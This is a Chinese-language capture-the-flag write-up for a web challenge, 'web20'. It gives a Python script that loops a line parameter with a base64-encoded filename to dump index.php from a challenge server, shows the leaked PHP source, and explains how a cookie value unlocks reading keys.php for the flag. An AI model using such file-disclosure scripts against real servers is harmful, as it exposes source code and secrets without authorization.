web20
这道题我看评论说是需要脚本,其实也可以不用脚本,可以使用bp抓包,更改line的值,不过比较麻烦,这里我写了个小脚本
有一点需说明,filename参数后面是base64编码,解码后发现是
尝试读取index.php的源码,将filename后面的值换为index.php的base64编码,不过可以直接用我写的脚本
import requests
for i in range(20):
line = 'line=' + str(i)
filename = '&filename=aW5kZXgucGhw'
url = 'http://114.67.246.176:14242/index.php?' + line + filename
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36'
}
request = requests.session()
response = request.get(url, headers=headers)
if response.status_code == 200 :
with open('1.txt','a') as f :
f.write(response.text)
这里在当前目录下会生成一个1.txt的文件,里面是index.php的源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
通过源码我们可以得知,需要在cookie里加入加入一个参数margin,并且参数的值也是margin,然后我们需要读取的flag在keys.php中,那么我们构造的请求头变为
这里filename的值是keys.php的base64编码,发送请求得到flag
注:萌新第一次写write up,不足之处还请见谅,不对之处欢迎批评指正